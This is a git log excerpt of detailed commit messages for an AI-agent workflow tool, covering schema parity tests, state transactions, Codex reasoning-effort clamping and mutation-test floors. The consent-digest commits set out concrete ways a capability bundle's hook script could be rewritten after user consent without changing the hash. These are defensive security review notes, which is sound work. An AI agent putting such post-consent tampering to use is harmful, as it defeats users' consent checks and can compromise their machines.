* fix(#3873): declare what the parsers do, and close the shape-parity gap

Two declarations in the new schema described intended behavior rather than
actual — the defect class this epic exists to end, committed inside the epic.
Both were caught by executing the parsers instead of reading their docstrings.

current_plan.acceptedShapes claimed ['N', 'N of M']. Standalone, the hybrid
shape errors; the path that looks like support is parseInt truncating '2 of 5'
to 2 and discarding the rest. Narrowed to ['N']. The parser is deliberately NOT
fixed here: that is #3784 and PR #3791 is already doing it. When #3791 lands
this row must widen, and the shape test will go red until it does — the schema
and the parser cannot drift apart quietly, which is what §8.8's checked-not-
generated rule is for.

STATUS_LIFECYCLE_ENUM claimed to be the closed set status can hold.
normalizeStateStatus passes unrecognized prose through unchanged, so it is not
closed at runtime. The seven members are the canonical values it maps onto; the
docstring now says that and the test asserts the real lenient contract.

Closes the acceptance item that a test asserts the parsers accept exactly the
declared shapes: the check is table-driven over every row carrying
acceptedShapes, guarded against passing vacuously on an empty set, and fails
loudly if a future row has no registered driver. Adds the unwired-label throw
and the fast-check property that every projection agrees with its schema row.

Refs #3873

* fix(#3873): keep the shipped template's frontmatter first, and make row 27 able to fail

The remote matrix caught 12 failures with one cause. Making the template's
frontmatter a generated region wrapped it in its own yaml fence ahead of the
markdown fence, so extractFileTemplate and readShippedStateTemplateBody — which
both match the single markdown block — found the heading first, not the
frontmatter. That breaks the contract every new project's STATE.md is created
from: bug #21 and epic #1969 B8 pin that the File Template block starts with
frontmatter and carries gsd_state_version.

The markers now sit inside the single markdown fence, so the fence opens before
the frontmatter and the region still ends ahead of the heading. Same layout as
before this phase, with markers embedded rather than a second fence.

Row 27 existed to catch exactly this and did not, because it was writer-seeded:
it asserted against the generator's own output shape, so it passed on the broken
template. It now parses the fence the way production does and was verified to
fail against the broken shape before being trusted against the fixed one. A test
that would not have caught the bug it exists to prevent is worse than no test.

The emitted-attribution failure was separate and the fragment was the wrong
remedy: gsd-core/templates/state.md self-attributes under a verbatim-copy
identity rule, so a diff touching it needs no acknowledgment. Fragment deleted
rather than left explaining nothing.

Refs #3873

* docs(#3873): how to change the STATE.md schema

The phase gate was right and my docs artifact was wrong. I listed
lint:generated-sync as the second enablement step, which is a verification
command dressed as one, and then claimed a one-step sequence owed no how-to.

The real sequence is build:lib then regen:derived, and the ordering is a trap:
the generator reads the COMPILED schema, so regenerating before building
regenerates against the previous schema and commits artifacts that look
plausible while disagreeing with the code just written. A reference table
cannot carry an ordering dependency; that is what the how-to test is for.

The page covers adding, changing and removing a key, every reason code the
check emits and what to do about each, what is generated versus hand-translated
and why the two prose-bearing tables are parity-checked instead of generated,
adding a language, and the three grandfathered keys. Indexed from docs/README.md.

Refs #3873

* chore(#3873): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-08-26 01:57:47 -04:00
Tom Boucher
1863f5569c enhance(#3871): the state transaction — mandatory snapshot, open()/rebuild() (#3874)
* test(#3871): failing-first regressions for the dropped curated progress block

Pins ADR-3473 §8.6 / #3756 at the consumer's output: state record-session and
state add-decision on an archived-milestone project drop the curated progress
frontmatter entirely, exit 0, and report nothing. Reproduced against the real
CLI before writing the tests, not inferred from the issue text.

Also adds the unit-level probe that applyStatePreservation's preserve-always
row is inert on a resyncing write, and an over-preservation guard that an
empty project is never inflated.

Refs #3871

* feat(#3871): make the STATE.md pre-write snapshot mandatory via open()/rebuild()

ADR-3473 §8.6. StatePreservationInput's nullable preFm and the always-present
preFmSnapshot were the same extractFrontmatter call, one of them nulled on
resync — a policy flag baked into a snapshot. Both collapse into a single
StateTransaction whose snapshot cannot be absent: openStateTransaction()
applies preservation, rebuildStateTransaction() does not, and both carry the
snapshot because the reporting phase needs it either way. An absent snapshot
is now a construction failure; an empty one stays legal, because that is what
a document with no parseable frontmatter honestly has.

writeStateMd requires a rebuild transaction, which types ADR-3408 §8.3's
closed exception list at both call sites (state sync, health --repair) instead
of matching them as strings in a ratcheted baseline.

Fixes the dropped curated progress block: an all-zero or absent derived total
set is an unmeasured scan, not a measurement, so the curated block stands.
Also fixes two defects surfaced while building — preserve-always reported a
mutation even when it restored an identical value, and it re-entered the
curated object by reference, which would alias the snapshot the next phase
diffs against.

Refs #3871

* fix(#3871): close the three remaining subsumed defects and restore the arm the type does not replace

Review of the first two commits found four things.

The guard shrink deleted the seam-bypass axis whole, but only its
writeStateMd( arm became redundant. Its other arm catches a call site
re-assembling syncStateFrontmatter + applyPostSyncPreservation instead of the
owned composition, which the transaction type does not make unrepresentable
and which #3469 found live. Restored as findCompositionBypasses, terminal
rather than ratcheted.

Three of the four issues this phase claims were untouched. All three are the
epic's own shape and are fixed at the seam: current_phase_name is reasserted
from the curated value when the caller names none, and cmdStateJson stops
carrying a hand-maintained list parallel to FIELD_CLASSIFICATION and projects
it instead.

The construction failure that is the point of this phase had no test. Every
enumerated matrix row now has one, including the measured-versus-unmeasured
coercion boundary and a seeded property that no curated key is ever dropped.

ADR-3473 §8.6 said the guard 'keeps only its raw-write check'. Verified
against next: there was no raw-write check, and four other checks it does not
name. Amended in place with the evidence. ARCHITECTURE.md separately
advertised a preservation policy the code had deleted.

Refs #3871

* fix(#3871): do not let the unmeasured-scan rule block an explicitly-requested resync

The remote matrix caught over-preservation, the failure this phase's own
negative space says must not happen. state update Progress re-derives the
block from the body the caller just rewrote; on a project with no phase dirs
the derivation yields zero totals, the unmeasured rule read that as 'the scan
measured nothing', and the stale curated percent was restored over the resync
the user asked for.

preserve-always already said what the missing condition was: never overwrite
unless the caller explicitly names this field. explicitProgressField carries
it and is derived from shouldResyncStateProgress, not set by hand at a call
site, so it cannot drift from what the caller asked for.

Two defects found in the same mechanism and fixed with it. readModifyWriteStateMd
enumerates its option keys, so a new option was silently dropped rather than
rejected. And the raw-write axis captured its first argument up to the first
comma, which lands inside a nested path.join, so a write to a STATE.md literal
was invisible to it — the prove-it-can-fail test caught that one immediately.

No test assertion was weakened; all three frontmatter rows encode #3242, #1969
B3 and #1972 and stand unchanged.

Refs #3871

* docs(#3871): record why the raw-write check is kept, not why it was named

The amendment justified findRawStateWrites as 'written because §8.6 requires
it to exist', which is cargo-culting the contract and would have been the
wrong reason to keep anything. The real reason is that writeStateMd acquires
the STATE.md lockfile and a raw fs.writeFileSync acquires nothing, so this is
a lock bypass and lost-update is the #500/#905/#1230 family — and after this
phase it is the one reachable path into the file that nothing else covers.

Also records why ADR-3408 §8.6's deletion of the 'clear' policy is not the
precedent it looks like: 'clear' was dead vocabulary in a closed enum, this is
coverage of a reachable path.

Refs #3871

* chore(#3871): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-08-25 20:38:12 -04:00
Tom Boucher
7bbbe495d7 docs(#3473): ADR-3473 — enforcement by construction, one owner per invariant (Phase 0) (#3870)
Phase 0 of epic #3473 ships this ADR alone. Every rule in §8 carries a
status of Enforced or Required — Phase N.

§8.1–§8.5 state the epic's B1–B5 criteria as contract rules with no phase
assigned yet. §8.6–§8.8 assign Phases 1–3 to the STATE.md family that
ADR-3180 and ADR-3408 left between them: the write seam's unvalidated
input, its classification-excluded reporting, and the schema transcribed
by hand into nine artifacts.

Derivation authority is explicitly NOT in scope here — it lands as
ADR-3180 Amendment 8, generalizing §7.5's already-locked sentence.

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-25 17:50:34 -04:00
Tom Boucher
004e9dd741 fix(#3007): resolve Codex reasoning effort per model and make every clamp visible (#3765)
* test(#3007): failing-first suite for per-model Codex effort capability

RED by construction. Binds to behavior renderEffortForRuntime does not yet
have: an optional third `model` argument, a per-model advertised-level table,
`max` passing through instead of clamping to `xhigh`, `minimal` clamping to
`low`, `ultra` rejected outright, and clamp visibility (`requested`/`clamped`/
`reason`) so a downgrade is legible from resolver output rather than silent.

Two of these pin defects that exist on next today:

- `max` is discarded. Both Codex models whose catalog entries are retrievable
  (sol, luna) advertise `max`; GSD clamps it to `xhigh` and reports nothing.
- `minimal` is emitted to a model that refuses it. providerPresets.openai.
  haiku.low pairs gpt-5.6-luna with reasoning_effort "minimal", and luna's
  advertised floor is `low`. GSD is sending a value into a document Codex
  itself validates. The parity test is what pins that fixed, and it names the
  offending path/model/effort when it trips.

Also corrects tests/model-resolver.test.cjs:351, which asserted
renderEffortForRuntime('codex','max').value === 'xhigh' -- the defect pinned as
though it were a contract. ADR-443 recorded "Codex has no max" as fact and it
was true when written; Codex has since added both `max` and `ultra`. That is a
stale premise, so the assertion is corrected here rather than worked around.

The property test asserts the invariant the whole change exists for: a rendered
effort is always a level the target model actually advertises, or an explicit
rejection. There is no third outcome.

* fix(#3007): resolve Codex effort per model, and make every clamp visible

Codex declares supported_reasoning_levels per MODEL and validates against it,
so a single per-runtime capability set cannot be right for all of them. GSD's
was wrong in both directions at once.

`max` reaches Codex now. ADR-443 recorded "Codex has no max" as fact and clamped
max -> xhigh on that basis; it was accurate when written, and Codex has since
added both `max` and `ultra`. Every Codex model whose catalog entry is
retrievable advertises `max`, so the clamp was discarding a level the provider
supports, silently, on the most-used path.

`minimal` stops reaching Codex. No Codex model advertises it -- both retrievable
entries floor at `low` -- yet providerPresets.openai.haiku.low paired
gpt-5.6-luna with reasoning_effort "minimal". GSD was writing a value the
receiver validates and refuses into a file the receiver reads. Being
unconservative in what you send is the half of Postel's rule with no defensible
reading, so that preset is corrected and a parity test pins it.

`ultra` is refused rather than laddered. Codex's own catalog calls it "Maximum
reasoning with automatic task delegation": at ultra, effective_multi_agent_mode
returns Proactive and Codex spawns sub-agents on its own initiative, underneath
GSD's orchestration rather than inside it (#2167). It is a mode switch, not a
reasoning depth, so it is not added to the universal ladder -- which stays
provider-agnostic by ADR-443's design -- and it is rejected even for
gpt-5.6-sol, which does advertise it. Clamping it down to `max` was considered
and rejected: that silently discards what the user actually asked for.

Clamping is now visible. RenderedEffort carries requested/clamped/reason and
resolve-execution surfaces them. The previous table clamped correctly but
invisibly, so a user asking for `max` on Codex had no way to find out they were
getting `xhigh` -- exactly the failure mode the robustness principle's modern
critique warns about, and why "be liberal" has to mean "liberal and loud".

Also closes a latent trap found while reviewing the implementation: the clamp-up
loop walks the ladder upward, and for a future model advertising `ultra` but not
`max` it would have selected `ultra` as the clamp target -- re-entering by the
back door the mode the rejection above exists to keep out. A clamp may never
produce a value that a direct request for that value would refuse. Unreachable
with today's catalog, which is why no test caught it; a test now asserts the
invariant directly.

Signature stability is preserved: the third `model` argument is optional and the
two-argument form still resolves, against the family baseline. That form's
BEHAVIOR does change for `max` and `minimal`, and it must -- keeping the old
answer would have fixed the defect only where a model happened to be threaded
through and left it live everywhere else.

tests/model-resolver.test.cjs:351 asserted the defect as if it were a contract
and is corrected here rather than worked around.

* fix(#3007): close every review finding on the Codex effort alignment

Two isolated reviewers, correctness and security. Both found the same two
blockers, and the per-model work was inert on every surface that matters until
this commit.

BLOCKER — resolve-execution never passed the model and discarded the clamp.
cmdResolveExecution called the two-argument form and emitted only
effort_rendered/effort_param/effort_propagation, so the per-model table was
unreachable from production code (tests were its only caller) and requested/
clamped/reason were computed and thrown away. Requested outcome 3 names "the
effective rendered effort in resolver output" specifically, so the feature was
unmet on the exact surface the issue asks for. Now passes the resolved model and
emits effort_requested / effort_clamped / effort_clamp_reason, flat, matching the
existing key convention rather than introducing a nested object.

BLOCKER — the docs described output that did not exist. CONFIGURATION.md showed
a nested {"effort": ...} sample; the real result is flat and those keys were
absent entirely. A reference doc asserting a JSON path a reader can copy is worse
than no doc. Corrected against the actual emitted key set.

MAJOR — the argv channel still shipped both original defects. EFFORT_ARGV.codex
kept minimal in its supported set and still clamped max down to xhigh, so the
invocation-time and install-time channels disagreed about the same runtime's
capability: --host codex with max emitted xhigh while the generated TOML said
max. This is the repo's documented generative-fix-divergence class, so both
tables now cross-reference each other and a parity test fails if they ever
diverge again.

MAJOR — malformed catalog data failed OPEN and could crash the CLI. A null
_baseline became an EMPTY Set that is nonetheless truthy, so the nullish fallback
never fired and every effort rendered as null. And a non-array value made the Set
constructor throw at module load — model-catalog.cjs is required across the whole
CLI, so one bad JSON value killed every command, not just codex effort. Guarded
on size and filtered to array values; both degrade to the hardcoded baseline.

MAJOR — value widened to a nullable string with two consumers left behind.
runtime-artifact-conversion passed it straight into injectEffortFrontmatter (a
null effort key in generated frontmatter); install-effort-resolver still declared
a non-nullable return, a structural lie that silently defeated null checking.
Both corrected, both omitting the key on null — the same posture as 'inherit',
where omission means "follow the host default".

MAJOR — the per-model table is inert today, and the docs now say so. All three
shipped models advertise the same usable range and ultra (sol's only
differentiator) is rejected for every model, so no observable output differs by
model. The table stays because Codex declares capability per model and the sets
are free to diverge — a single per-runtime assumption is precisely what went
stale and produced this issue — but overselling it as a visible per-model feature
would have been the same class of error as the doc blocker above.

Tests: three passed under a full revert and are strengthened rather than deleted,
since each guards a real contract (#3533's inherit rule, the undeclared-host
rule, off-ladder handling) — they now also assert the clamp-visibility fields,
which only exist after this change. The fast-check property is kept for its
shrinking, and a deterministic nested loop over the full cross-product now sits
beside it so coverage is exhaustive rather than sampled.

Also folded in earlier: bin/install.js generated the Codex TOML with the two-arg
form and would have written a literal null reasoning effort on the ultra path;
CONTEXT.md's Model Catalog Module glossary entry now records CODEX_MODEL_EFFORT.
The installer defect was found by the co-change gate, not by a reviewer —
install.js is a historical co-change partner of model-catalog.cts that this diff
had not touched.

* test(#3007): correct assertions that pinned Codex's stale effort premise

Thirteen pre-existing tests encoded "Codex has no max" as fact and failed on the
shipped commit. Every one is a stale pin, not a defect: each was probed against
the built module before its expectation was changed, and none failed for a
reason other than this premise correction.

Kept as its own commit per CONTRIBUTING — a test-fixture correction made stale
by a production change must not ride inside another commit, because the
release-sdk hotfix cherry-pick filter routes by subject prefix and a correction
buried under the wrong prefix ships a half-state (v1.42.3, #3621).

The most valuable one was tests/model-resolver.test.cjs's cross-provider
validity invariant, which hardcoded the Codex enum as
`minimal|low|medium|high|xhigh` and failed with "real API would 400". That
message is now false in both directions: Codex accepts `max`, and rejects
`minimal`, which no model advertises. The enum is corrected to
`low|medium|high|xhigh|max` and the guard is kept intact — it is exactly the
"would the real API refuse this" check worth having, and it was right to fail
here. It simply carried the stale fact in its own fixture.

Test NAMES were corrected alongside their assertions wherever the name asserted
the old behavior — "max is Anthropic-only", "max clamps to xhigh", "minimal
passthrough". A renamed test that still claims the old thing is worse than a
failing one, and a green test whose name states a falsehood is how the next
reader inherits the wrong premise.

Both channels are covered: install-time (renderEffortForRuntime, and the
generated .toml in install-runtime-artifacts) and invocation-time argv
(effort-surface-axis). They were deliberately brought into agreement in this
change, so their assertions had to move together.

Each site carries a #3007 comment recording that Codex gained max/ultra and that
capability is declared per model, so a future reader can tell this was a
deliberate premise correction rather than a test bent to fit an implementation.

* test(#3007): separate the effort-precedence case from the clamp case

The previous stale-assertion pass over-corrected one test. It saw
`effort: { default: 'max' }` on codex expecting `effort_rendered: 'xhigh'`,
assumed the xhigh came from the max→xhigh clamp #3007 removes, renamed it to
"max passes through" and changed the expectation to `max`. The remote runner
disagreed.

Reproduced against the real CLI: with that config and `gsd-planner`, the
resolver emits `effort: "xhigh"`, `effort_requested: "xhigh"`,
`effort_clamped: false`. The xhigh is produced by effort-resolution PRECEDENCE —
gsd-planner is heavy/opus tier and its routing-tier default outranks
`effort.default` — so `max` never reaches the renderer at all. The test says
nothing about clamping and never did; it only looked like a clamp pin because
both mechanisms happened to yield the same string.

Restored to `xhigh` and renamed to say what it actually tests. It now also
asserts `effort_clamped === false` and `effort_requested === 'xhigh'`, which is
what makes it impossible to mistake for a clamp pin again: those two fields prove
the value is what the resolver produced rather than something the renderer
downgraded. Before #3007 there was no way to tell the two apart from the output —
which is precisely why the previous pass could not tell them apart either.

Added the test that was actually missing: `effort.agent_overrides`, which
outranks the tier default, so the requested level genuinely reaches the renderer
and `max` survives to `effort_rendered` end-to-end through the real CLI. Verified
by probe before asserting.

One test now pins the precedence rule and the other pins the #3007 behavior, and
neither can be read as the other. That the clamp-visibility fields are what
resolved this is a small argument for having added them.

* chore(#3007): backfill changeset pr number to 3765

* test(#3007): put model-catalog under the mutation gate

The Stryker shard showed as `skipping` on this PR despite the diff rewriting
model-catalog's effort logic. That was legitimate, not a detection bug:
`model-catalog` was never in scripts/mutation-matrix.cjs's COVERED map, so the
whole module — including everything #3007 touches — sat entirely outside
mutation scoring with has_work "false".

Registered, with a dedicated spawn-free surface. tests/model-catalog.unit.test.cjs
is new: 44 in-process tests, no runGsdTools, no child process, no filesystem, no
temp dirs. That shape is not stylistic — it is the #2790 precedent this file
already documents. Stryker's command runner treats a whole `node --test <file>`
invocation as ONE test costing whatever its slowest case costs, and re-runs it
per mutant, so pointing a shard at tests/model-resolver.test.cjs (which uses
runGsdTools throughout) would reproduce exactly the 15-minute shard-cap
cancellation #2790 hit. The integration file is unaffected and keeps running in
full in the normal test job.

Coverage spans the module rather than only the diff, because the score is
measured over the whole file: effort rendering across every model and ladder
level in both channels, the prototype-chain host guard, the exported enums and
maps, isAnthropicFlavoredModel's provider namespacings, the profile projections,
nextTier, and mergeEffortTierDefaults. The last two were nearly left out and are
worth naming — every uncovered exported function is score given away, and
mergeEffortTierDefaults turned out to have a genuinely interesting contract
(#3531: a partial override merges over the built-ins rather than replacing them,
and isValid gates the VALUE, not the tier name, so an unknown tier key is still
merged in). Every expectation was probed against the built module before being
asserted.

minScore is 1 and that is a PLACEHOLDER, flagged as such in the registry comment.
Floors in this repo are measured, not chosen — the existing entries sit at 94, 75
and 56 — and they can only be measured in CI, because mutation shards run
`node --test`, which is hard-blocked locally. The first CI run on this branch
reports the real number and the floor gets ratcheted to it before merge. A
placeholder of 1 reaching `next` would make the gate decorative: it would pass
whether or not a single mutant is ever killed.

Note the target is "never regress from measured", not a fixed 80 — planning-inspect
sits at 56 and is documented as an accepted ratchet candidate.

* test(#3007): bootstrap model-catalog's mutation floor legally

The placeholder floor was structurally illegal and the remote run said so.
tests/mutation-matrix-ratchet.test.cjs guards the guard: every COVERED module
must carry a matching RATCHET_BASELINE entry in the same diff, minScore must
EQUAL that baseline, and it must be at least 50. `minScore: 1` failed all three.
That is the ratchet working exactly as intended — a floor nobody can satisfy
accidentally is the point of it.

Bootstrapped at 50 in both places. Fifty is not a measured score and the comment
says so plainly: it is the minimum the guard permits, and it coincides with
Stryker's own configured `break` threshold, so it is the lowest legal starting
point for a module that has never been measured. It still must be ratcheted to
floor(measured) - 1 before this PR merges.

Also corrected a real defect in the file's own instructions. "HOW TO UPDATE"
step 1 read "Run the per-module Stryker shard locally" — which cannot be done
here, and which the same file contradicts eighty lines further down, where the
#2790 scores are recorded as "not a local run; mutation shards run `node --test`,
hard-blocked in this repo's local environment". stryker.config.mjs confirms the
command runner invokes `node --test` once per mutant, and
.claude/hooks/block-local-node-test.sh denies exactly that. So the documented
first step sends the next contributor at a wall. Rewritten to describe the path
that works — push, read the measured score off the CI shard, then set the floor
and its baseline together in one diff — and to say why local measurement is not
available, so nobody rediscovers it the slow way. GOODHART SAFETY is untouched.

The two-step is inherent to the environment rather than a shortcut: a floor
cannot be measured before the first CI run exists, and the guard rightly refuses
to accept an unmeasured one below its minimum.

* test(#3007): ratchet model-catalog's mutation floor to its measured score

The shard ran in CI and reported 59.62% — 248 mutants killed, 168 survived, no
timeouts, no errors (run 32605073352, job 97108869486). Floor set to 58 per this
file's own rule, minScore = floor(measured) - 1, which is the same arithmetic
every sibling entry used: 57.03 to 56, 76.58 to 75, 95.65 to 94.

Both halves moved together, because the ratchet guard asserts minScore equals its
RATCHET_BASELINE entry and would reject them drifting apart.

The spawn-free unit surface is vindicated by the clock: 57 seconds, against a
15-minute shard cap and a 9m46s frontmatter shard in the same run. That was the
whole reason for creating tests/model-catalog.unit.test.cjs rather than pointing
the shard at tests/model-resolver.test.cjs — #2790 recorded shards being
CANCELLED at that cap when they targeted a runGsdTools-heavy integration file.

The registry comment is rewritten rather than deleted. It previously warned that
the floor was provisional and must not ship that way; leaving that text next to a
measured floor would make the file lie in the other direction. It now records the
measurement the way the sibling entries do, including that 59.62 sits below
TARGET (80) and is therefore a ratchet candidate like planning-inspect at 56 —
comfortably clear of its own floor with real room to grow. Raise it as the tests
improve; never lower it.

Worth stating plainly: 168 surviving mutants is not a clean bill of health. It is
an honest floor for a module that had NO mutation coverage at all an hour ago,
and it is now pinned so it cannot silently regress.

---------

Co-authored-by: sim <sim@local>
2026-08-22 20:51:55 -04:00
Tom Boucher
8526bd46f8 enhance(#2475): scope ADR-443 item 1 to the operator surface and ratify the ADR (#3688)
* test(#2475): widen the item-1 effort-caller guard to both CLI argument shapes

The guard matched only `resolve-execution ... --effort\s`, but the CLI also
accepts `--effort=<level>` (gsd-core/bin/gsd-tools.cjs). A workflow written
with the equals form was a live invocation-override caller the guard passed
silently, along with `--effort` at end-of-input.

Lift the matcher to a shared predicate and assert it directly against every
shape the CLI accepts, plus the decoys it must not fire on (--effortless, a
bare --effort with no resolve-execution, item 6's --attempt caller, a call and
flag split across lines).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2475): scope ADR-443 item 1 to the operator surface and ratify the ADR

ADR-443 sat at Proposed on one condition: its Decision item 1 orchestrator
invocation override needed a caller in shipped orchestration. Per the
maintainer's ruling, take unblock path (b) for item 1 only -- record that the
override is an operator-facing CLI surface, deliberately not driven by shipped
orchestration, and ratify.

The ADR's own path (b) wording is not adopted verbatim: it says the scope is
limited to static install-time propagation, which is false on both counts --
item 6 has a live caller (#2296) and #2481 delivered a live invocation-time
argv channel. Only one precedence step is narrowed.

No consumer was invented to clear the gate: nobody has asked for a per-run
effort override, and #2475's actual complaint is already closed by the
cascade-to-argv path. The amendment states explicitly that --effort remains
supported and is not deprecated, so the scoping is not read as dead code.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2475): correct two bare-`gsd` invocation examples to `gsd_run`

There is no `gsd` binary -- package.json exposes gsd-core, gsd-tools, gsd_run
and gsd-mcp-server. Both sites presented a command that cannot run as written.

One is in this branch's own new ADR-443 amendment; the other is a pre-existing
error in the docs/CONFIGURATION.md assumption_delta row, fixed here rather than
deferred. No translated copy carries either line, so no i18n drift is created.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2475): record the guard/CLI divergence risk on the item-1 matcher

The predicate independently models gsd-tools.cjs's argument parser rather than
sharing a constant with it, so a third --effort spelling would leave the guard
reporting green while ADR-443's ratifying invariant silently stopped holding.
Name that risk where the next editor will meet it.

Also restores the bounded-prose rationale that was attached to the eslint
directive removed in 39793079c -- the directive went unused once the regex moved
to a const, but the reasoning it carried is still worth having.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 17:56:04 -04:00
Tom Boucher
9e4f0e99ad fix(#3631): exclude only __pycache__-resident bytecode from the consent digest (#3650)
* test(3631): failing-first coverage for bytecode-cache in the consent hash

bundleContentHash digests a walk with no exclusion, so a routine 'python3 -m unittest'
inside a Python-backed capability bundle writes __pycache__ under the bundle, the
recomputed hash stops matching the consent record, and the capability silently goes
inactive — no error, no warning, and loop render-hooks then omits its step and gate.

Two distinct triggers, and the second is the sharper one: collectBundleEntries pushes a
{kind:'dir'} entry for EVERY directory and the digest emits a TAG_DIR marker for it, so an
EMPTY __pycache__/ flips the hash before a single .pyc is written. A fix filtering only
*.pyc would leave that live. Verified by execution against the built lib: 5 of 7 probe
rows diverge from intent today, including the empty-directory row.

The anti-regression rows are the point of the shape: editing a real scripts/m.py and
adding node_modules/pkg/index.js must BOTH still change the hash. node_modules is
deliberately not excludable — its contents are required at runtime, so dropping it from
the digest would stop consent binding executable content. The symlink row pins ordering:
exclusion must apply after the lstat fail-closed rejection, never before.

Refs #3631

* fix(3631): exclude derived bytecode caches from the consent digest

RED proven at e5ba8f1fe on the remote runner: 8 failures, exactly the rows predicted to
fail, with the four anti-regression rows already green.

collectBundleEntries now skips a hardcoded, gitignore-independent set from the DIGEST:
basenames __pycache__, .pytest_cache, .DS_Store, and any .pyc/.pyo file. Matching is
byte-exact on the raw Buffer name (the walk never utf8-decodes) and case-sensitive, so the
digest does not vary with how a name happens to be spelled on a case-insensitive volume.

Three properties were preserved deliberately, each pinned by a test:

  - The filter runs AFTER the lstat symlink/non-regular fail-closed rejection. Filtering
    first would have turned the exclusion into a way to smuggle a symlink past the check;
    a symlink named x.pyc still throws.
  - Excluded entries still count toward BUNDLE_MAX_FILES and BUNDLE_MAX_TOTAL_BYTES. The
    caps guard the WALK; the digest answers a different question, and exclusion must not
    become an unbounded-bytes hole.
  - An excluded DIRECTORY is neither emitted as a TAG_DIR marker nor recursed into. The
    directory marker was the sharper half of this bug: an empty __pycache__ flipped the
    hash before any .pyc existed, so a *.pyc-only filter would have left it live.

The issue proposed either a gitignore-aware walk or a list including node_modules. Both
are rejected. A consent binding must not delegate its scope to a .gitignore the bundle
author does not control — one line there would drop arbitrary executable content out of
the hash. And node_modules holds code that is required at runtime; excluding it would stop
consent binding executable content, turning a usability bug into a supply-chain hole. What
makes __pycache__ different is that CPython validates each .pyc against its sibling
source, which remains hashed, so a real code change still invalidates consent.

Docs: CONTEXT.md's 'EVERY regular file AND directory' claim is corrected in place.
ADR-2363's residual-gap section said the walk had 'no exclusions' — per
docs/adr/README.md ('ADRs are append-only') that is corrected by a dated amendment rather
than an in-place edit. Its D4 argument is unaffected: skill bodies are .md and stay bound.

Fixes #3631

* fix(3631): narrow the digest exclusion after two isolated security reviews

The first cut of this fix passed the full suite and was still wrong. Both orthogonal
reviews rejected it, and the second one found a hole that has nothing to do with Python.

HIGH — an excluded DIRECTORY was 'continue'd before recursion, so its whole subtree was
permanently outside the digest. Declared hook script paths allow '_', '.' and '/' with no
directory or extension rule, so hooks:[{script:'__pycache__/run.js'}] installed, executed
via node, and its bytes could be rewritten forever without moving the hash. Ship benign
v1, collect consent, then own the machine. No Python involved.

FALSE RATIONALE — the justification I wrote into the code, CONTEXT.md, the ADR amendment
and the changeset claimed CPython validates a cached .pyc against its sibling source, so
the source staying hashed kept consent honest. That is not true, and I proved it by
execution rather than argument: default timestamp invalidation compares only the source's
mtime and size, both settable by anyone who can write the bundle. A forged pyc ran while
the .py was byte-identical.

Also wrong: '*.pyc' matched anywhere, but a legacy sourceless scripts/x.pyc IS importable,
so excluding it was a live vector.

Narrowed to what is actually defensible:
  - a DIRECTORY named __pycache__/.pytest_cache has only its TAG_DIR marker suppressed;
    the walk still recurses and hashes every non-excluded child.
  - .pyc/.pyo are excluded ONLY when the parent basename is exactly __pycache__.
  - a regular FILE named __pycache__, and a DIRECTORY named x.pyc, stay bound.
  - declared hook paths containing a __pycache__/.pytest_cache segment or a .pyc/.pyo
    basename are now rejected in both validator copies — a file named .pyc can contain
    perfectly valid JavaScript, so the exclusion must not be reachable from a declared
    surface.

Accepted residual risk, stated plainly in ADR-2363 and CONTEXT.md instead of explained
away: a forged __pycache__/mod.pyc matching an unmodified, still-hashed mod.py executes
without moving the digest. Before this change that write was detected. It is accepted to
stop routine bytecode caching from silently deactivating capabilities, and it is bounded —
the attacker needs post-consent write access, everything outside __pycache__/*.pyc stays
hashed, and no declared surface can point into the excluded space.

Known limitation, not papered over: .pytest_cache CONTENTS still move the digest. Only the
directory marker is suppressed. Excluding that subtree would reopen the HIGH finding.

Refs #3631

* fix(3631): drop the .DS_Store exclusion and pin what the caps actually bind

Second round of isolated review findings. The hardening closed the two original holes —
both re-reviews confirmed that by execution — but it introduced a new one of the same
shape, and left three claims unbacked.

HIGH, self-inflicted: .DS_Store was excluded from the digest at any depth, but the hook
path validator was hardened only for __pycache__/.pytest_cache/.pyc/.pyo. So
script:'hooks/.DS_Store' was ACCEPTED, runnableHookCommand emits the bare quoted path for
a non-.js name (the branch .sh hooks already use), and capability-source copies it with
its mode bit intact. Ship it +x with a benign shebang, take consent, then rewrite it
forever — the digest never moves. Fixed by DELETING the .DS_Store exclusion rather than
teaching the validator about it: .DS_Store has nothing to do with this issue's Python
bytecode symptom, and an excluded filename is a permanently unhashed name. The narrower
the exclusion, the smaller the hole.

The residual-risk bound in ADR-2363 and CONTEXT.md claimed declared surfaces cannot reach
excluded space. That is false and is now stated correctly: node resolves an unregistered
extension through the default .js handler, so a hashed, consent-covered hooks/run.js that
requires '../__pycache__/mod.pyc' reaches it in one hop. The validator guard raises the
bar for DECLARED surfaces; it does not contain the risk. The two bounds that are real —
post-consent write access required, everything outside __pycache__/*.pyc still hashed —
are kept.

The BUNDLE_MAX_FILES boundary test had gone vacuous: it padded with root-level *.pyc,
which the hardening made non-excluded, so it no longer proved anything about excluded
entries while the ADR claimed the caps were test-pinned. It now pads __pycache__/f{i}.pyc,
with the arithmetic re-derived by execution (capability.json + the still-counted
__pycache__ dir + N). BUNDLE_MAX_TOTAL_BYTES had zero coverage at all and is now pinned by
a sparse 32 MiB __pycache__/big.pyc that must still trip the size cap — the test that
proves exclusion did not become an unbounded-bytes hole.

Added the parity assertion CLAUDE.md's Generative Fix Divergence rule requires for the two
isSafeHookScriptPath copies, and proved it can fail: mutating one BUILT copy to drop .pyo
made the parity check report the divergence. Also pinned semantics that were correct but
untested and would have survived mutation — __pycache__/sub/x.pyc stays hashed (the parent
resets to sub, which is the recursion threading itself), .pytest_cache/y.pyc stays hashed,
and .pyo in both directions, which was a free surviving mutant.

Changeset rewritten: it still described the rejected wholesale-exclusion semantics.

Refs #3631

* chore(3631): backfill changeset PR number (#3650)

---------

Co-authored-by: sim <sim@local>
2026-08-18 22:35:54 -04:00
Tom Boucher
2972da4c9d enhance(#3619): ratchet the platform seam with local/no-private-binary-resolution (epic #3411 Phase 3) (#3636)
* chore(#3619): ratchet the platform seam with local/no-private-binary-resolution

